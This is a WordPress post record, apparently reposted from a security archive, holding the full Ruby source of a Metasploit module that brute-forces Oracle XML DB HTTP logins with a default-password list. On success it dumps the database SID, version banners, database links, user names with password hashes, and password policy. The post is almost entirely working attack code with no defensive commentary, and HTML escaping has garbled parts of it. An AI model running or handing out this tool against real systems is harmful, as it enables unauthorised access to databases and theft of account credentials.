{"id":59330,"date":"2024-09-01T03:00:16","date_gmt":"2024-09-01T00:00:16","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180939\/xdb_sid_brute.rb.txt"},"modified":"2024-09-01T03:00:16","modified_gmt":"2024-09-01T00:00:16","slug":"oracle-xml-db-sid-discovery-via-brute-force","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/oracle-xml-db-sid-discovery-via-brute-force\/","title":{"rendered":"Oracle XML DB SID Discovery Via Brute Force"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Oracle XML DB SID Discovery via Brute Force&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module attempts to retrieve the sid from the Oracle XML DB httpd server,<br \/>utilizing Pete Finnigan&#8217;s default oracle password list.<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/dsecrg.com\/files\/pub\/pdf\/Different_ways_to_guess_Oracle_database_SID_(eng).pdf&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/www.petefinnigan.com\/default\/oracle_default_passwords.csv&#8217;],<br \/>],<br \/>&#8216;Author&#8217; =&gt; [ &#8216;nebulus&#8217; ],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;CSVFILE&#8217;, [ false, &#8216;The file that contains a list of default accounts.&#8217;, File.join(Msf::Config.install_root, &#8216;data&#8217;, &#8216;wordlists&#8217;, &#8216;oracle_default_passwords.csv&#8217;)]),<br \/>Opt::RPORT(8080),<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<br \/>begin<\/p>\n<p>res = send_request_raw({<br \/>&#8216;uri&#8217; =&gt; &#8216;\/oradb\/PUBLIC\/GLOBAL_NAME&#8217;,<br \/>&#8216;version&#8217; =&gt; &#8216;1.0&#8217;,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>}, 5)<br \/>return if not res<\/p>\n<p>if(res.code == 200)<br \/>vprint_status(&#8220;http:\/\/#{ip}:#{datastore[&#8216;RPORT&#8217;]}\/oradb\/PUBLIC\/GLOBAL_NAME (#{res.code}) is not password protected.&#8221;)<br \/>return<br \/>elsif(res.code == 403 || res.code == 401)<br \/>print_status(&#8220;http:\/\/#{ip}:#{datastore[&#8216;RPORT&#8217;]}\/oradb\/PUBLIC\/GLOBAL_NAME (#{res.code})&#8221;)<br \/>end<\/p>\n<p>list = datastore[&#8216;CSVFILE&#8217;]users = []\n<p>fd = CSV.foreach(list) do |brute|<\/p>\n<p>dbuser = brute[2].downcase<br \/>dbpass = brute[3].downcase<br \/>user_pass = &#8220;#{dbuser}:#{dbpass}&#8221;<\/p>\n<p>res = send_request_raw({<br \/>&#8216;uri&#8217; =&gt; &#8216;\/oradb\/PUBLIC\/GLOBAL_NAME&#8217;,<br \/>&#8216;version&#8217; =&gt; &#8216;1.0&#8217;,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;headers&#8217; =&gt;<br \/>{<br \/>&#8216;Authorization&#8217; =&gt; &#8220;Basic #{Rex::Text.encode_base64(user_pass)}&#8221;<br \/>}<br \/>}, 10)<\/p>\n<p>if( not res )<br \/>vprint_error(&#8220;Unable to retrieve SID for #{ip}:#{datastore[&#8216;RPORT&#8217;]} with #{dbuser} \/ #{dbpass}&#8230;&#8221;)<br \/>next<br \/>end<br \/>if (res.code == 200)<br \/>if (not res.body.length &gt; 0)<br \/># sometimes weird bug where body doesn&#8217;t have value yet<br \/>res.body = res.bufq<br \/>end<br \/>sid = res.body.scan(\/&lt;GLOBAL_NAME&gt;(\\S+)&lt;\\\/GLOBAL_NAME&gt;\/)[0]report_note(<br \/>:host =&gt; ip,<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:type =&gt; &#8216;SERVICE_NAME&#8217;,<br \/>:data =&gt; sid,<br \/>:update =&gt; :unique_data<br \/>)<br \/>print_good(&#8220;Discovered SID: &#8216;#{sid[0]}&#8217; for host #{ip}:#{datastore[&#8216;RPORT&#8217;]} with #{dbuser} \/ #{dbpass}&#8221;)<br \/>users.push(user_pass)<br \/>else<br \/>vprint_error(&#8220;Unable to retrieve SID for #{ip}:#{datastore[&#8216;RPORT&#8217;]} with #{dbuser} \/ #{dbpass}&#8230;&#8221;)<br \/>end<br \/>end #fd.each<\/p>\n<p>good = false<br \/>users.each do |user_pass|<br \/>(u,p) = user_pass.split(&#8216;:&#8217;)<\/p>\n<p># get versions<br \/>res = send_request_raw({<br \/>&#8216;uri&#8217; =&gt; &#8216;\/oradb\/PUBLIC\/PRODUCT_COMPONENT_VERSION&#8217;,<br \/>&#8216;version&#8217; =&gt; &#8216;1.1&#8217;,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;headers&#8217; =&gt;<br \/>{<br \/>&#8216;Authorization&#8217; =&gt; &#8220;Basic #{Rex::Text.encode_base64(user_pass)}&#8221;<br \/>}<br \/>}, -1)<\/p>\n<p>if(res)<br \/>if(res.code == 200)<br \/>if (not res.body.length &gt; 0)<br \/># sometimes weird bug where body doesn&#8217;t have value yet<br \/>res.body = res.bufq<br \/>end<\/p>\n<p>doc = REXML::Document.new(res.body)<\/p>\n<p>print_good(&#8220;Version Information ==&gt; as #{u}&#8221;)<br \/>doc.elements.each(&#8216;PRODUCT_COMPONENT_VERSION\/ROW&#8217;) do |e|<br \/>p = e.elements[&#8216;PRODUCT&#8217;].get_text<br \/>v = e.elements[&#8216;VERSION&#8217;].get_text<br \/>s = e.elements[&#8216;STATUS&#8217;].get_text<br \/>report_note(<br \/>:host =&gt; datastore[&#8216;RHOST&#8217;],<br \/>:sname =&gt; &#8216;xdb&#8217;,<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:type =&gt; &#8216;ORA_ENUM&#8217;,<br \/>:data =&gt; &#8220;Component Version: #{p}#{v}&#8221;,<br \/>:update =&gt; :unique_data<br \/>)<br \/>print_good(&#8220;\\t#{p}\\t\\t#{v}\\t(#{s})&#8221;)<\/p>\n<p>end<br \/>end<br \/>end<\/p>\n<p># More version information<br \/>res = send_request_raw({<br \/>&#8216;uri&#8217; =&gt; &#8216;\/oradb\/PUBLIC\/ALL_REGISTRY_BANNERS&#8217;,<br \/>&#8216;version&#8217; =&gt; &#8216;1.1&#8217;,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;headers&#8217; =&gt;<br \/>{<br \/>&#8216;Authorization&#8217; =&gt; &#8220;Basic #{Rex::Text.encode_base64(user_pass)}&#8221;<br \/>}<br \/>}, -1)<\/p>\n<p>if(res)<br \/>if(res.code == 200)<br \/>if (not res.body.length &gt; 0)<br \/># sometimes weird bug where body doesn&#8217;t have value yet<br \/>res.body = res.bufq<br \/>end<\/p>\n<p>doc = REXML::Document.new(res.body)<\/p>\n<p>doc.elements.each(&#8216;ALL_REGISTRY_BANNERS\/ROW&#8217;) do |e|<br \/>next if e.elements[&#8216;BANNER&#8217;] == nil<br \/>b = e.elements[&#8216;BANNER&#8217;].get_text<br \/>report_note(<br \/>:host =&gt; datastore[&#8216;RHOST&#8217;],<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:sname =&gt; &#8216;xdb&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:type =&gt; &#8216;ORA_ENUM&#8217;,<br \/>:data =&gt; &#8220;Component Version: #{b}&#8221;,<br \/>:update =&gt; :unique_data<br \/>)<br \/>print_good(&#8220;\\t#{b}&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n<p># database links<br \/>res = send_request_raw({<br \/>&#8216;uri&#8217; =&gt; &#8216;\/oradb\/PUBLIC\/ALL_DB_LINKS&#8217;,<br \/>&#8216;version&#8217; =&gt; &#8216;1.1&#8217;,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;headers&#8217; =&gt;<br \/>{<br \/>&#8216;Authorization&#8217; =&gt; &#8220;Basic #{Rex::Text.encode_base64(user_pass)}&#8221;<br \/>}<br \/>}, -1)<\/p>\n<p>if(res)<br \/>if(res.code == 200)<br \/>if (not res.body.length &gt; 0)<br \/># sometimes weird bug where body doesn&#8217;t have value yet<br \/>res.body = res.bufq<br \/>end<\/p>\n<p>doc = REXML::Document.new(res.body)<\/p>\n<p>print_good(&#8220;Database Link Information ==&gt; as #{u}&#8221;)<br \/>doc.elements.each(&#8216;ALL_DB_LINKS\/ROW&#8217;) do |e|<br \/>next if(e.elements[&#8216;HOST&#8217;] == nil or e.elements[&#8216;USERNAME&#8217;] == nil or e.elements[&#8216;DB_LINK&#8217;] == nil)<br \/>h = e.elements[&#8216;HOST&#8217;].get_text<br \/>d = e.elements[&#8216;DB_LINK&#8217;].get_text<br \/>us = e.elements[&#8216;USERNAME&#8217;].get_text<\/p>\n<p>sid = h.to_s.scan(\/\\(SID\\s\\=\\s(\\S+)\\)\\)\\)\/)[0]if(h.to_s.match(\/^\\(DESCRIPTION\/) )<br \/>h = h.to_s.scan(\/\\(HOST\\s\\=\\s(\\S+)\\)\\(\/)[0]end<\/p>\n<p>if(sid and sid != &#8220;&#8221;)<br \/>print_good(&#8220;\\tLink: #{d}\\t#{us}\\@#{h[0]}\/#{sid[0]}&#8221;)<br \/>report_note(<br \/>:host =&gt; h[0],<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:sname =&gt; &#8216;xdb&#8217;,<br \/>:type =&gt; &#8216;oracle_sid&#8217;,<br \/>:data =&gt; sid,<br \/>:update =&gt; :unique_data<br \/>)<br \/>else<br \/>print_good(&#8220;\\tLink: #{d}\\t#{us}\\@#{h}&#8221;)<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n<p># get users<br \/>res = send_request_raw({<br \/>&#8216;uri&#8217; =&gt; &#8216;\/oradb\/PUBLIC\/DBA_USERS&#8217;,<br \/>&#8216;version&#8217; =&gt; &#8216;1.1&#8217;,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;read_max_data&#8217; =&gt; (1024*1024*10),<br \/>&#8216;headers&#8217; =&gt;<br \/>{<br \/>&#8216;Authorization&#8217; =&gt; &#8220;Basic #{Rex::Text.encode_base64(user_pass)}&#8221;<br \/>}<br \/>}, -1)<\/p>\n<p>if res and res.code == 200<br \/>if (not res.body.length &gt; 0)<br \/># sometimes weird bug where body doesn&#8217;t have value yet<br \/>res.body = res.bufq<br \/>end<\/p>\n<p>doc = REXML::Document.new(res.body)<br \/>print_good(&#8220;Username\/Hashes on #{ip}:#{datastore[&#8216;RPORT&#8217;]} ==&gt; as #{u}&#8221;)<\/p>\n<p>doc.elements.each(&#8216;DBA_USERS\/ROW&#8217;) do |user|<\/p>\n<p>us = user.elements[&#8216;USERNAME&#8217;].get_text<br \/>h = user.elements[&#8216;PASSWORD&#8217;].get_text<br \/>as = user.elements[&#8216;ACCOUNT_STATUS&#8217;].get_text<br \/>print_good(&#8220;\\t#{us}:#{h}:#{as}&#8221;)<br \/>good = true<br \/>if(as.to_s == &#8220;OPEN&#8221;)<br \/>report_note(<br \/>:host =&gt; datastore[&#8216;RHOST&#8217;],<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:sname =&gt; &#8216;xdb&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:type =&gt; &#8216;ORA_ENUM&#8217;,<br \/>:data =&gt; &#8220;Active Account #{u}:#{h}:#{as}&#8221;,<br \/>:update =&gt; :unique_data<br \/>)<br \/>else<br \/>report_note(<br \/>:host =&gt; datastore[&#8216;RHOST&#8217;],<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:sname =&gt; &#8216;xdb&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:type =&gt; &#8216;ORA_ENUM&#8217;,<br \/>:data =&gt; &#8220;Disabled Account #{u}:#{h}:#{as}&#8221;,<br \/>:update =&gt; :unique_data<br \/>)<br \/>end<br \/>end<br \/>end<\/p>\n<p># get password information<br \/>res = send_request_raw({<br \/>&#8216;uri&#8217; =&gt; &#8216;\/oradb\/PUBLIC\/USER_PASSWORD_LIMITS&#8217;,<br \/>&#8216;version&#8217; =&gt; &#8216;1.1&#8217;,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;read_max_data&#8217; =&gt; (1024*1024*10),<br \/>&#8216;headers&#8217; =&gt;<br \/>{<br \/>&#8216;Authorization&#8217; =&gt; &#8220;Basic #{Rex::Text.encode_base64(user_pass)}&#8221;<br \/>}<br \/>}, -1)<\/p>\n<p>if res and res.code == 200<br \/>if (not res.body.length &gt; 0)<br \/># sometimes weird bug where body doesn&#8217;t have value yet<br \/>res.body = res.bufq<br \/>end<\/p>\n<p>doc = REXML::Document.new(res.body)<\/p>\n<p>print_good(&#8220;Password Policy ==&gt; as #{u}&#8221;)<br \/>fla=plit=pgt=prt=prm=plot=&#8221;<br \/>doc.elements.each(&#8216;USER_PASSWORD_LIMITS\/ROW&#8217;) do |e|<br \/>next if e.elements[&#8216;RESOURCE_NAME&#8217;] == nil<\/p>\n<p>case<br \/>when(e.elements[&#8216;RESOURCE_NAME&#8217;].get_text == &#8216;FAILED_LOGIN_ATTEMPTS&#8217;)<br \/>fla = e.elements[&#8216;LIMIT&#8217;].get_text<br \/>when(e.elements[&#8216;RESOURCE_NAME&#8217;].get_text == &#8216;PASSWORD_LIFE_TIME&#8217;)<br \/>plit = e.elements[&#8216;LIMIT&#8217;].get_text<br \/>when(e.elements[&#8216;RESOURCE_NAME&#8217;].get_text == &#8216;PASSWORD_REUSE_TIME&#8217;)<br \/>prt = e.elements[&#8216;LIMIT&#8217;].get_text<br \/>when(e.elements[&#8216;RESOURCE_NAME&#8217;].get_text == &#8216;PASSWORD_REUSE_MAX&#8217;)<br \/>prm = e.elements[&#8216;LIMIT&#8217;].get_text<br \/>when(e.elements[&#8216;RESOURCE_NAME&#8217;].get_text == &#8216;PASSWORD_LOCK_TIME&#8217;)<br \/>plot = e.elements[&#8216;LIMIT&#8217;].get_text<br \/>when(e.elements[&#8216;RESOURCE_NAME&#8217;].get_text == &#8216;PASSWORD_GRACE_TIME&#8217;)<br \/>pgt = e.elements[&#8216;LIMIT&#8217;].get_text<br \/>end<br \/>end<\/p>\n<p>print_good(<br \/>&#8220;\\tFailed Login Attempts: #{fla}\\n\\t&#8221; +<br \/>&#8220;Password Life Time: #{plit}\\n\\t&#8221; +<br \/>&#8220;Password Reuse Time: #{prt}\\n\\t&#8221; +<br \/>&#8220;Password Reuse Max: #{prm}\\n\\t&#8221; +<br \/>&#8220;Password Lock Time: #{plot}\\n\\t&#8221; +<br \/>&#8220;Password Grace Time: #{pgt}&#8221;<br \/>)<br \/>report_note(<br \/>:host =&gt; datastore[&#8216;RHOST&#8217;],<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:sname =&gt; &#8216;xdb&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:type =&gt; &#8216;ORA_ENUM&#8217;,<br \/>:data =&gt; &#8220;Password Maximum Reuse Time: #{prm}&#8221;,<br \/>:update =&gt; :unique_data<br \/>)<br \/>report_note(<br \/>:host =&gt; datastore[&#8216;RHOST&#8217;],<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:sname =&gt; &#8216;xdb&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:type =&gt; &#8216;ORA_ENUM&#8217;,<br \/>:data =&gt; &#8220;Password Reuse Time: #{prt}&#8221;,<br \/>:update =&gt; :unique_data<br \/>)<br \/>report_note(<br \/>:host =&gt; datastore[&#8216;RHOST&#8217;],<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:sname =&gt; &#8216;xdb&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:type =&gt; &#8216;ORA_ENUM&#8217;,<br \/>:data =&gt; &#8220;Password Life Time: #{plit}&#8221;,<br \/>:update =&gt; :unique_data<br \/>)<br \/>report_note(<br \/>:host =&gt; datastore[&#8216;RHOST&#8217;],<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:sname =&gt; &#8216;xdb&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:type =&gt; &#8216;ORA_ENUM&#8217;,<br \/>:data =&gt; &#8220;Account Fail Logins Permitted: #{fla}&#8221;,<br \/>:update =&gt; :unique_data<br \/>)<br \/>report_note(<br \/>:host =&gt; datastore[&#8216;RHOST&#8217;],<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:sname =&gt; &#8216;xdb&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:type =&gt; &#8216;ORA_ENUM&#8217;,<br \/>:data =&gt; &#8220;Account Lockout Time: #{plot}&#8221;,<br \/>:update =&gt; :unique_data<br \/>)<br \/>report_note(<br \/>:host =&gt; datastore[&#8216;RHOST&#8217;],<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:sname =&gt; &#8216;xdb&#8217;,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:type =&gt; &#8216;ORA_ENUM&#8217;,<br \/>:data =&gt; &#8220;Account Password Grace Time: #{pgt}&#8221;,<br \/>:update =&gt; :unique_data<br \/>)<br \/>end<\/p>\n<p>break if good<br \/>end # users.each<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout<br \/>rescue ::Timeout::Error, ::Errno::EPIPE<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Oracle XML DB SID Discovery via Brute Force&#8217;,&#8216;Description&#8217; =&gt; %q{This module attempts to retrieve the sid from the Oracle XML DB httpd server,utilizing Pete Finnigan&#8217;s default oracle password list.},&#8216;References&#8217; =&gt;[[ &#8216;URL&#8217;, &#8216;http:\/\/dsecrg.com\/files\/pub\/pdf\/Different_ways_to_guess_Oracle_database_SID_(eng).pdf&#8217; ],[ &#8216;URL&#8217;, &#8216;http:\/\/www.petefinnigan.com\/default\/oracle_default_passwords.csv&#8217;],],&#8216;Author&#8217; =&gt; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59330","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59330","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59330"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59330\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59330"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59330"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59330"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}